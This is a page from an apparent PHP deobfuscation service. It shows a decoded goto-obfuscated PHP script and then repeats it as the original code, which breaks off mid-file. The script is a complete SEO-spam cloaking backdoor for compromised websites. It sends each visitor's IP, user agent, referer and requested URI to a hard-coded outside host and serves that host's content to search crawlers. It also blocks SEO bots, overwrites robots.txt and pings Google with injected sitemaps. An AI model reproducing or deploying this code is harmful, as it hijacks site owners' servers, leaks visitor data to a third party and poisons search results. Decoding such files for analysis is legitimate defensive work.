Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto ToYJQ; UfJuF: Gg9lf: goto RQT3u; TB7sd: header("Content-Type: text/xml; c..
Decoded Output download
<?php
goto ToYJQ;
UfJuF:
Gg9lf:
goto RQT3u;
TB7sd:
header("Content-Type: text/xml; charset=utf-8");
goto ei286;
H7qJM:
$lcis9 = $t0FCq[1];
goto HPEjx;
xRF_F:
if (strpos($M2z6r, "index.php") !== false) {
goto f8mHq;
}
goto Weh3D;
uAwPc:
gwjDp:
goto UfUKn;
FWtEg:
$D1dx4 = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]);
goto QMnYm;
qh039:
$qGMzj = 0;
goto yNOMt;
O0TjQ:
@file_put_contents("robots.txt", $LCQgf);
goto pX06h;
YzDKG:
f8mHq:
goto qf1Ln;
xfEDH:
echo $KAaRW;
goto RQ5Pa;
bDHM7:
$Xb1r6 = $fGHDm . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo";
goto YBbBX;
YbqyY:
if (substr($KAaRW, 0, 5) == "<?xml") {
goto tdS5I;
}
goto PQLBx;
baqA9:
$KAaRW = IId9K($J1mxd . urlencode($vM29_));
goto ITFJf;
hVORF:
M5cNx:
goto H0XE1;
z6W08:
$KAaRW = CjWxq($VfwJv);
goto JiByy;
O07T0:
exit;
goto z9V83;
kOwxK:
tXvsa:
goto yykGa;
yn3dH:
goto yFoTF;
goto rwP0z;
odMaH:
i72RA:
goto RKtxB;
H0XE1:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}";
goto z6W08;
gYHEq:
function iiD9k($v8ar8)
{
goto cX5Mq;
m2QRL:
curl_setopt($N4luQ, CURLOPT_SSL_VERIFYHOST, FALSE);
goto E7xa7;
DJC_y:
curl_setopt($N4luQ, CURLOPT_SSL_VERIFYPEER, FALSE);
goto m2QRL;
sGHkD:
$QFTEH = @file_get_contents($v8ar8);
goto ybxlS;
l1Shg:
curl_setopt($N4luQ, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
goto gUE3h;
nBLk3:
curl_setopt($N4luQ, CURLOPT_FOLLOWLOCATION, false);
goto l1Shg;
V1CFh:
curl_setopt($N4luQ, CURLOPT_URL, $v8ar8);
goto XPG7k;
XPG7k:
curl_setopt($N4luQ, CURLOPT_RETURNTRANSFER, true);
goto nBLk3;
cX5Mq:
$N4luQ = curl_init();
goto V1CFh;
E7xa7:
HZ4UU:
goto lq38G;
ybxlS:
nr30g:
goto Zg2HC;
lq38G:
$QFTEH = curl_exec($N4luQ);
goto G26pA;
G26pA:
curl_close($N4luQ);
goto ishRj;
Zg2HC:
return $QFTEH;
goto OACf2;
ishRj:
if (!empty($QFTEH)) {
goto nr30g;
}
goto sGHkD;
gUE3h:
if (!(strpos($v8ar8, "https://") !== false)) {
goto HZ4UU;
}
goto DJC_y;
OACf2:
}
goto coiQU;
osItD:
$fGHDm = urlencode($_SERVER["REQUEST_SCHEME"]);
goto Ux9jq;
J2dUl:
header("Content-Type: text/plain; charset=utf-8");
goto HHABF;
zP3GG:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}&sitemap=" . urlencode($vM29_);
goto TqXvx;
EsR_f:
goto gQxMi;
goto wEmeF;
P_MMb:
$JOVC3 = urlencode($_SERVER["HTTP_USER_AGENT"]);
goto jnFsI;
SpHjZ:
$oQ33H = 1;
goto qrTin;
o2naz:
if (empty($KAaRW)) {
goto i72RA;
}
goto Ru03b;
ToYJQ:
error_reporting(0);
goto myiK0;
tee85:
d6m_j:
goto ulbza;
Fwcm3:
header("HTTP/1.0 403 Forbidden");
goto tdo5r;
TqXvx:
$KAaRW = cJwxq($VfwJv);
goto SpHjZ;
PS33S:
$_SERVER["REQUEST_SCHEME"] = "http";
goto mZe7A;
SXaxF:
hBm_J:
goto O0TjQ;
rwP0z:
tdS5I:
goto TB7sd;
By2ut:
gQxMi:
goto LqKjr;
w3aHS:
$_SERVER["REQUEST_SCHEME"] = "https";
goto Z0Gse;
izEVK:
$qGMzj = 1;
goto ueAQ_;
cXe9Z:
$M2z6r = "/";
goto WwhPI;
a76_i:
$Mt64O = urlencode($_SERVER["HTTP_HOST"]);
goto B2bPF;
wVk4l:
$posoF = 2425;
goto P_MMb;
Ru03b:
echo $KAaRW;
goto A9fi3;
qrTin:
q52vu:
goto Znplz;
yNOMt:
if (!file_exists("uxo.txt")) {
goto HtyEL;
}
goto TOMBJ;
YBbBX:
$KAaRW = CjwxQ($Xb1r6);
goto lgb3V;
PgYo1:
if (strpos($bgt_E, "jp2023") !== false) {
goto Gg9lf;
}
goto mxLww;
qCFW1:
goto qw0Z5;
goto UfJuF;
Xlke9:
oTO3W:
goto SxJyM;
JiByy:
if (empty($KAaRW)) {
goto huWaw;
}
goto GYAQf;
TPIsL:
Iti0K:
goto HxaxV;
lgb3V:
if ($KAaRW == "ok") {
goto VrnMk;
}
goto LVfHd;
KfcWC:
if (strpos($JOVC3, "YandexBot") !== false || strpos($JOVC3, "AhrefsBot") !== false || strpos($JOVC3, "SEMrushBot") !== false || strpos($JOVC3, "MJ12bot") !== false) {
goto PlkrW;
}
goto p5JtY;
HPEjx:
TuYg6:
goto p6AAe;
p5JtY:
if (strpos($bgt_E, "favicon.ico") !== false) {
goto tXvsa;
}
goto PgYo1;
MxQE2:
goto Iti0K;
goto jpZGe;
EzLCn:
@file_put_contents("robots.txt", $KAaRW);
goto O07T0;
Weh3D:
$M2z6r = $M2z6r . "?";
goto wLObf;
oam6C:
if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") {
goto vppRm;
}
goto PS33S;
qf1Ln:
if ($qGMzj == 0) {
goto xeZ3P;
}
goto cXe9Z;
zi5IW:
echo "ok";
goto w7Qxo;
U1xHe:
$PRBej = "bing|google|yahoo";
goto Ukq0D;
fgmlB:
function CjWxQ($v8ar8)
{
goto LKLdY;
LKLdY:
$QFTEH = @file_get_contents($v8ar8);
goto s97fg;
yUQXa:
$QFTEH = curl_exec($N4luQ);
goto AxuVl;
anTQK:
curl_setopt($N4luQ, CURLOPT_RETURNTRANSFER, true);
goto mQ4GL;
mQ4GL:
curl_setopt($N4luQ, CURLOPT_FOLLOWLOCATION, false);
goto Gi0y4;
BuGN_:
curl_setopt($N4luQ, CURLOPT_SSL_VERIFYPEER, FALSE);
goto DO2cW;
iUatM:
curl_setopt($N4luQ, CURLOPT_URL, $v8ar8);
goto anTQK;
s97fg:
if (!empty($QFTEH)) {
goto x296s;
}
goto inyWa;
XXYWh:
x296s:
goto PNHuF;
inyWa:
$N4luQ = curl_init();
goto iUatM;
DO2cW:
curl_setopt($N4luQ, CURLOPT_SSL_VERIFYHOST, FALSE);
goto AZFe1;
Gi0y4:
if (!(strpos($v8ar8, "https://") !== false)) {
goto ZzfLm;
}
goto BuGN_;
AZFe1:
ZzfLm:
goto yUQXa;
PNHuF:
return $QFTEH;
goto xxKt2;
AxuVl:
curl_close($N4luQ);
goto XXYWh;
xxKt2:
}
goto gYHEq;
w7Qxo:
exit;
goto EqwxQ;
DllVd:
usleep(100 * 1000);
goto zP3GG;
ei286:
yFoTF:
goto EI3J2;
fcMxW:
if (preg_match("/({$PRBej})/i", $_SERVER["HTTP_USER_AGENT"])) {
goto oTO3W;
}
goto d6xm0;
Sfi6q:
if (!preg_match("/<h2>(.+?)<\/h2>/i", $KAaRW, $t0FCq)) {
goto TuYg6;
}
goto H7qJM;
TEKiz:
echo $KAaRW;
goto PmGrC;
EDG8c:
if (strpos($bgt_E, "pingsitemap.xml") !== false) {
goto ADEWi;
}
goto KfcWC;
HwUx0:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&k=1";
goto uF5c5;
VFFvg:
xeZ3P:
goto VrW2o;
II9Gq:
goto q52vu;
goto SXaxF;
Rqihd:
w3sKE:
goto XSBZj;
UfUKn:
ZFSmg:
goto NlxE5;
aZwNE:
PlkrW:
goto VklEr;
gOFxK:
E3LLj:
goto Oj5Mw;
cYaVf:
goto roMZF;
goto kOwxK;
sNEdl:
exit;
goto McmFq;
ulbza:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}";
goto J2dUl;
GKLqu:
lytc3:
goto nhLWi;
sC8bS:
$vM29_ = "{$fGHDm}://" . $Mt64O . $M2z6r . "sitemap.xml";
goto QNZvv;
wEmeF:
MBYoK:
goto nnuIJ;
WmC61:
$KAaRW = CJwxq($VfwJv);
goto TEKiz;
d0pSh:
qw0Z5:
goto cYaVf;
NlxE5:
$J1mxd = "https://www.google.com/ping?sitemap=";
goto lxdmg;
jnFsI:
$T7Yqg = urlencode($_SERVER["HTTP_REFERER"]);
goto FWtEg;
mZe7A:
goto eXTa_;
goto gCF1N;
LVfHd:
$qGMzj = 0;
goto a4Wvx;
gCF1N:
vppRm:
goto w3aHS;
Oj5Mw:
goto upp2u;
goto Xlke9;
p53FC:
$M2z6r = $_SERVER["SCRIPT_NAME"];
goto xRF_F;
Ukq0D:
$Vn9xM = "http://cw24.alertsub.top/index.php";
goto wVk4l;
RQT3u:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}";
goto WmC61;
DEZ9T:
eN4e8:
goto dL_CS;
mxLww:
if (strpos($bgt_E, "robots.txt") !== false || strpos($bgt_E, "writerobots") !== false) {
goto d6m_j;
}
goto vWSh1;
cWxDW:
R2Pcb:
goto U1xHe;
McmFq:
huWaw:
goto gOFxK;
nhLWi:
$oQ33H++;
goto II9Gq;
uF5c5:
$KAaRW = CJWxq($VfwJv);
goto o2naz;
VklEr:
exit;
goto DEZ9T;
A9fi3:
exit;
goto odMaH;
dL_CS:
goto KUYx0;
goto W5tka;
Ux9jq:
$bgt_E = urldecode($_SERVER["REQUEST_URI"]);
goto xCqXy;
pX06h:
exit;
goto Owqab;
HHABF:
echo $KAaRW = cJWxq($VfwJv);
goto EzLCn;
Z0Gse:
eXTa_:
goto osItD;
bPi_1:
HtyEL:
goto bDHM7;
kPZqu:
goto eN4e8;
goto aZwNE;
LqKjr:
goto ilJ0U;
goto tee85;
VrW2o:
$M2z6r = "/?";
goto uAwPc;
p6AAe:
echo $vM29_ . ": " . $lcis9 . "<br/>";
goto DllVd;
vWSh1:
if (preg_match("@^/(.*?).xml$@i", $bgt_E)) {
goto MBYoK;
}
goto fcMxW;
wLObf:
goto ZFSmg;
goto YzDKG;
ITFJf:
$lcis9 = "<font color='red'>ERROR</font>";
goto Sfi6q;
QMnYm:
$Znn_c = urlencode(W7ivs());
goto a76_i;
z9V83:
ilJ0U:
goto qCFW1;
EI3J2:
echo $KAaRW;
goto jedBD;
jedBD:
exit;
goto Rqihd;
XSBZj:
upp2u:
goto EsR_f;
C3JbR:
header("Content-Type: text/xml; charset=utf-8");
goto xfEDH;
ueAQ_:
@file_put_contents("uxo.txt", "1");
goto TPIsL;
TOMBJ:
$qGMzj = @file_get_contents("uxo.txt");
goto vWeKZ;
PmGrC:
exit;
goto d0pSh;
B2bPF:
$JmGFz = urlencode($_SERVER["SCRIPT_NAME"]);
goto oam6C;
Jo2tx:
$KAaRW = CjWxQ($VfwJv);
goto FkWg0;
PQLBx:
header("Content-Type: text/html; charset=utf-8");
goto yn3dH;
lxdmg:
$LCQgf = "User-agent: *
Allow: /";
goto sC8bS;
vWeKZ:
goto cyLXk;
goto bPi_1;
jpZGe:
VrnMk:
goto izEVK;
RKtxB:
goto E3LLj;
goto hVORF;
SxJyM:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}";
goto Jo2tx;
xCqXy:
if (!(strpos($bgt_E, "uuuuxxxxooo") !== false)) {
goto moX2V;
}
goto zi5IW;
E7JoN:
$KAaRW = cJWXQ($VfwJv);
goto C3JbR;
WwhPI:
goto gwjDp;
goto VFFvg;
HxaxV:
cyLXk:
goto EDG8c;
nnuIJ:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}";
goto E7JoN;
RQ5Pa:
exit;
goto By2ut;
a4Wvx:
@file_put_contents("uxo.txt", "0");
goto MxQE2;
yykGa:
roMZF:
goto kPZqu;
GYAQf:
echo $KAaRW;
goto sNEdl;
myiK0:
function w7ivS()
{
goto tAmlc;
AIZ2j:
KbdgH:
goto MmuRG;
MmuRG:
$Znn_c = getenv("REMOTE_ADDR");
goto hD6AD;
yStCm:
$loCvs = explode(",", $Znn_c);
goto uYJvr;
cO553:
goto ceCKc;
goto AIZ2j;
d9XI4:
goto ceCKc;
goto IbooK;
tzLli:
return $Znn_c;
goto wHws1;
PB4S6:
$Znn_c = "0.0.0.0";
goto d9XI4;
hD6AD:
ceCKc:
goto tzLli;
JCtW4:
if (getenv("HTTP_X_FORWARDED_FOR")) {
goto dPzCC;
}
goto TaAhg;
i7EvH:
kOBVr:
goto xL2xA;
ldpdz:
$Znn_c = getenv("HTTP_CLIENT_IP");
goto i7EvH;
IbooK:
ut17T:
goto GGeGf;
wtIm6:
goto ceCKc;
goto AqDY2;
tAmlc:
if (!getenv("HTTP_CLIENT_IP")) {
goto kOBVr;
}
goto ldpdz;
GGeGf:
$Znn_c = getenv("HTTP_X_REAL_IP");
goto wtIm6;
AqDY2:
dPzCC:
goto TxHt1;
uYJvr:
$Znn_c = $loCvs[0];
goto cO553;
TxHt1:
$Znn_c = getenv("HTTP_X_FORWARDED_FOR");
goto yStCm;
TaAhg:
if (getenv("REMOTE_ADDR")) {
goto KbdgH;
}
goto PB4S6;
xL2xA:
if (getenv("HTTP_X_REAL_IP")) {
goto ut17T;
}
goto JCtW4;
wHws1:
}
goto fgmlB;
tdo5r:
exit;
goto cWxDW;
FkWg0:
if (empty($KAaRW)) {
goto w3sKE;
}
goto YbqyY;
d6xm0:
if (preg_match("/({$PRBej})/i", $_SERVER["HTTP_REFERER"])) {
goto M5cNx;
}
goto HwUx0;
QNZvv:
$LCQgf = trim($LCQgf) . "
\xa" . "Sitemap: {$vM29_}";
goto baqA9;
coiQU:
if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot)/i", $_SERVER["HTTP_USER_AGENT"])) {
goto R2Pcb;
}
goto Fwcm3;
W5tka:
ADEWi:
goto p53FC;
EqwxQ:
moX2V:
goto qh039;
Znplz:
if (!($oQ33H < 30)) {
goto hBm_J;
}
goto GKLqu;
Owqab:
KUYx0:
?>
Did this file decode correctly?
Original Code
<?php
goto ToYJQ;
UfJuF:
Gg9lf:
goto RQT3u;
TB7sd:
header("Content-Type: text/xml; charset=utf-8");
goto ei286;
H7qJM:
$lcis9 = $t0FCq[1];
goto HPEjx;
xRF_F:
if (strpos($M2z6r, "index.php") !== false) {
goto f8mHq;
}
goto Weh3D;
uAwPc:
gwjDp:
goto UfUKn;
FWtEg:
$D1dx4 = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]);
goto QMnYm;
qh039:
$qGMzj = 0;
goto yNOMt;
O0TjQ:
@file_put_contents("robots.txt", $LCQgf);
goto pX06h;
YzDKG:
f8mHq:
goto qf1Ln;
xfEDH:
echo $KAaRW;
goto RQ5Pa;
bDHM7:
$Xb1r6 = $fGHDm . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo";
goto YBbBX;
YbqyY:
if (substr($KAaRW, 0, 5) == "<?xml") {
goto tdS5I;
}
goto PQLBx;
baqA9:
$KAaRW = IId9K($J1mxd . urlencode($vM29_));
goto ITFJf;
hVORF:
M5cNx:
goto H0XE1;
z6W08:
$KAaRW = CjWxq($VfwJv);
goto JiByy;
O07T0:
exit;
goto z9V83;
kOwxK:
tXvsa:
goto yykGa;
yn3dH:
goto yFoTF;
goto rwP0z;
odMaH:
i72RA:
goto RKtxB;
H0XE1:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}";
goto z6W08;
gYHEq:
function iiD9k($v8ar8)
{
goto cX5Mq;
m2QRL:
curl_setopt($N4luQ, CURLOPT_SSL_VERIFYHOST, FALSE);
goto E7xa7;
DJC_y:
curl_setopt($N4luQ, CURLOPT_SSL_VERIFYPEER, FALSE);
goto m2QRL;
sGHkD:
$QFTEH = @file_get_contents($v8ar8);
goto ybxlS;
l1Shg:
curl_setopt($N4luQ, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
goto gUE3h;
nBLk3:
curl_setopt($N4luQ, CURLOPT_FOLLOWLOCATION, false);
goto l1Shg;
V1CFh:
curl_setopt($N4luQ, CURLOPT_URL, $v8ar8);
goto XPG7k;
XPG7k:
curl_setopt($N4luQ, CURLOPT_RETURNTRANSFER, true);
goto nBLk3;
cX5Mq:
$N4luQ = curl_init();
goto V1CFh;
E7xa7:
HZ4UU:
goto lq38G;
ybxlS:
nr30g:
goto Zg2HC;
lq38G:
$QFTEH = curl_exec($N4luQ);
goto G26pA;
G26pA:
curl_close($N4luQ);
goto ishRj;
Zg2HC:
return $QFTEH;
goto OACf2;
ishRj:
if (!empty($QFTEH)) {
goto nr30g;
}
goto sGHkD;
gUE3h:
if (!(strpos($v8ar8, "https://") !== false)) {
goto HZ4UU;
}
goto DJC_y;
OACf2:
}
goto coiQU;
osItD:
$fGHDm = urlencode($_SERVER["REQUEST_SCHEME"]);
goto Ux9jq;
J2dUl:
header("Content-Type: text/plain; charset=utf-8");
goto HHABF;
zP3GG:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}&sitemap=" . urlencode($vM29_);
goto TqXvx;
EsR_f:
goto gQxMi;
goto wEmeF;
P_MMb:
$JOVC3 = urlencode($_SERVER["HTTP_USER_AGENT"]);
goto jnFsI;
SpHjZ:
$oQ33H = 1;
goto qrTin;
o2naz:
if (empty($KAaRW)) {
goto i72RA;
}
goto Ru03b;
ToYJQ:
error_reporting(0);
goto myiK0;
tee85:
d6m_j:
goto ulbza;
Fwcm3:
header("HTTP/1.0 403 Forbidden");
goto tdo5r;
TqXvx:
$KAaRW = cJwxq($VfwJv);
goto SpHjZ;
PS33S:
$_SERVER["REQUEST_SCHEME"] = "http";
goto mZe7A;
SXaxF:
hBm_J:
goto O0TjQ;
rwP0z:
tdS5I:
goto TB7sd;
By2ut:
gQxMi:
goto LqKjr;
w3aHS:
$_SERVER["REQUEST_SCHEME"] = "https";
goto Z0Gse;
izEVK:
$qGMzj = 1;
goto ueAQ_;
cXe9Z:
$M2z6r = "/";
goto WwhPI;
a76_i:
$Mt64O = urlencode($_SERVER["HTTP_HOST"]);
goto B2bPF;
wVk4l:
$posoF = 2425;
goto P_MMb;
Ru03b:
echo $KAaRW;
goto A9fi3;
qrTin:
q52vu:
goto Znplz;
yNOMt:
if (!file_exists("uxo.txt")) {
goto HtyEL;
}
goto TOMBJ;
YBbBX:
$KAaRW = CjwxQ($Xb1r6);
goto lgb3V;
PgYo1:
if (strpos($bgt_E, "jp2023") !== false) {
goto Gg9lf;
}
goto mxLww;
qCFW1:
goto qw0Z5;
goto UfJuF;
Xlke9:
oTO3W:
goto SxJyM;
JiByy:
if (empty($KAaRW)) {
goto huWaw;
}
goto GYAQf;
TPIsL:
Iti0K:
goto HxaxV;
lgb3V:
if ($KAaRW == "ok") {
goto VrnMk;
}
goto LVfHd;
KfcWC:
if (strpos($JOVC3, "YandexBot") !== false || strpos($JOVC3, "AhrefsBot") !== false || strpos($JOVC3, "SEMrushBot") !== false || strpos($JOVC3, "MJ12bot") !== false) {
goto PlkrW;
}
goto p5JtY;
HPEjx:
TuYg6:
goto p6AAe;
p5JtY:
if (strpos($bgt_E, "favicon.ico") !== false) {
goto tXvsa;
}
goto PgYo1;
MxQE2:
goto Iti0K;
goto jpZGe;
EzLCn:
@file_put_contents("robots.txt", $KAaRW);
goto O07T0;
Weh3D:
$M2z6r = $M2z6r . "?";
goto wLObf;
oam6C:
if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") {
goto vppRm;
}
goto PS33S;
qf1Ln:
if ($qGMzj == 0) {
goto xeZ3P;
}
goto cXe9Z;
zi5IW:
echo "ok";
goto w7Qxo;
U1xHe:
$PRBej = "bing|google|yahoo";
goto Ukq0D;
fgmlB:
function CjWxQ($v8ar8)
{
goto LKLdY;
LKLdY:
$QFTEH = @file_get_contents($v8ar8);
goto s97fg;
yUQXa:
$QFTEH = curl_exec($N4luQ);
goto AxuVl;
anTQK:
curl_setopt($N4luQ, CURLOPT_RETURNTRANSFER, true);
goto mQ4GL;
mQ4GL:
curl_setopt($N4luQ, CURLOPT_FOLLOWLOCATION, false);
goto Gi0y4;
BuGN_:
curl_setopt($N4luQ, CURLOPT_SSL_VERIFYPEER, FALSE);
goto DO2cW;
iUatM:
curl_setopt($N4luQ, CURLOPT_URL, $v8ar8);
goto anTQK;
s97fg:
if (!empty($QFTEH)) {
goto x296s;
}
goto inyWa;
XXYWh:
x296s:
goto PNHuF;
inyWa:
$N4luQ = curl_init();
goto iUatM;
DO2cW:
curl_setopt($N4luQ, CURLOPT_SSL_VERIFYHOST, FALSE);
goto AZFe1;
Gi0y4:
if (!(strpos($v8ar8, "https://") !== false)) {
goto ZzfLm;
}
goto BuGN_;
AZFe1:
ZzfLm:
goto yUQXa;
PNHuF:
return $QFTEH;
goto xxKt2;
AxuVl:
curl_close($N4luQ);
goto XXYWh;
xxKt2:
}
goto gYHEq;
w7Qxo:
exit;
goto EqwxQ;
DllVd:
usleep(100 * 1000);
goto zP3GG;
ei286:
yFoTF:
goto EI3J2;
fcMxW:
if (preg_match("/({$PRBej})/i", $_SERVER["HTTP_USER_AGENT"])) {
goto oTO3W;
}
goto d6xm0;
Sfi6q:
if (!preg_match("/<h2>(.+?)<\/h2>/i", $KAaRW, $t0FCq)) {
goto TuYg6;
}
goto H7qJM;
TEKiz:
echo $KAaRW;
goto PmGrC;
EDG8c:
if (strpos($bgt_E, "pingsitemap.xml") !== false) {
goto ADEWi;
}
goto KfcWC;
HwUx0:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&k=1";
goto uF5c5;
VFFvg:
xeZ3P:
goto VrW2o;
II9Gq:
goto q52vu;
goto SXaxF;
Rqihd:
w3sKE:
goto XSBZj;
UfUKn:
ZFSmg:
goto NlxE5;
aZwNE:
PlkrW:
goto VklEr;
gOFxK:
E3LLj:
goto Oj5Mw;
cYaVf:
goto roMZF;
goto kOwxK;
sNEdl:
exit;
goto McmFq;
ulbza:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}";
goto J2dUl;
GKLqu:
lytc3:
goto nhLWi;
sC8bS:
$vM29_ = "{$fGHDm}://" . $Mt64O . $M2z6r . "sitemap.xml";
goto QNZvv;
wEmeF:
MBYoK:
goto nnuIJ;
WmC61:
$KAaRW = CJwxq($VfwJv);
goto TEKiz;
d0pSh:
qw0Z5:
goto cYaVf;
NlxE5:
$J1mxd = "https://www.google.com/ping?sitemap=";
goto lxdmg;
jnFsI:
$T7Yqg = urlencode($_SERVER["HTTP_REFERER"]);
goto FWtEg;
mZe7A:
goto eXTa_;
goto gCF1N;
LVfHd:
$qGMzj = 0;
goto a4Wvx;
gCF1N:
vppRm:
goto w3aHS;
Oj5Mw:
goto upp2u;
goto Xlke9;
p53FC:
$M2z6r = $_SERVER["SCRIPT_NAME"];
goto xRF_F;
Ukq0D:
$Vn9xM = "http://cw24.alertsub.top/index.php";
goto wVk4l;
RQT3u:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}";
goto WmC61;
DEZ9T:
eN4e8:
goto dL_CS;
mxLww:
if (strpos($bgt_E, "robots.txt") !== false || strpos($bgt_E, "writerobots") !== false) {
goto d6m_j;
}
goto vWSh1;
cWxDW:
R2Pcb:
goto U1xHe;
McmFq:
huWaw:
goto gOFxK;
nhLWi:
$oQ33H++;
goto II9Gq;
uF5c5:
$KAaRW = CJWxq($VfwJv);
goto o2naz;
VklEr:
exit;
goto DEZ9T;
A9fi3:
exit;
goto odMaH;
dL_CS:
goto KUYx0;
goto W5tka;
Ux9jq:
$bgt_E = urldecode($_SERVER["REQUEST_URI"]);
goto xCqXy;
pX06h:
exit;
goto Owqab;
HHABF:
echo $KAaRW = cJWxq($VfwJv);
goto EzLCn;
Z0Gse:
eXTa_:
goto osItD;
bPi_1:
HtyEL:
goto bDHM7;
kPZqu:
goto eN4e8;
goto aZwNE;
LqKjr:
goto ilJ0U;
goto tee85;
VrW2o:
$M2z6r = "/?";
goto uAwPc;
p6AAe:
echo $vM29_ . ": " . $lcis9 . "<br/>";
goto DllVd;
vWSh1:
if (preg_match("@^/(.*?).xml$@i", $bgt_E)) {
goto MBYoK;
}
goto fcMxW;
wLObf:
goto ZFSmg;
goto YzDKG;
ITFJf:
$lcis9 = "<font color='red'>ERROR</font>";
goto Sfi6q;
QMnYm:
$Znn_c = urlencode(W7ivs());
goto a76_i;
z9V83:
ilJ0U:
goto qCFW1;
EI3J2:
echo $KAaRW;
goto jedBD;
jedBD:
exit;
goto Rqihd;
XSBZj:
upp2u:
goto EsR_f;
C3JbR:
header("Content-Type: text/xml; charset=utf-8");
goto xfEDH;
ueAQ_:
@file_put_contents("uxo.txt", "1");
goto TPIsL;
TOMBJ:
$qGMzj = @file_get_contents("uxo.txt");
goto vWeKZ;
PmGrC:
exit;
goto d0pSh;
B2bPF:
$JmGFz = urlencode($_SERVER["SCRIPT_NAME"]);
goto oam6C;
Jo2tx:
$KAaRW = CjWxQ($VfwJv);
goto FkWg0;
PQLBx:
header("Content-Type: text/html; charset=utf-8");
goto yn3dH;
lxdmg:
$LCQgf = "User-agent: *
Allow: /";
goto sC8bS;
vWeKZ:
goto cyLXk;
goto bPi_1;
jpZGe:
VrnMk:
goto izEVK;
RKtxB:
goto E3LLj;
goto hVORF;
SxJyM:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}";
goto Jo2tx;
xCqXy:
if (!(strpos($bgt_E, "uuuuxxxxooo") !== false)) {
goto moX2V;
}
goto zi5IW;
E7JoN:
$KAaRW = cJWXQ($VfwJv);
goto C3JbR;
WwhPI:
goto gwjDp;
goto VFFvg;
HxaxV:
cyLXk:
goto EDG8c;
nnuIJ:
$VfwJv = $Vn9xM . "?agent={$JOVC3}&refer={$T7Yqg}&lang={$D1dx4}&ip={$Znn_c}&dom={$Mt64O}&http={$fGHDm}&uri={$bgt_E}&pc={$posoF}&rewriteable={$qGMzj}&script={$JmGFz}";
goto E7JoN;
RQ5Pa:
exit;
goto By2ut;
a4Wvx:
@file_put_contents("uxo.txt", "0");
goto MxQE2;
yykGa:
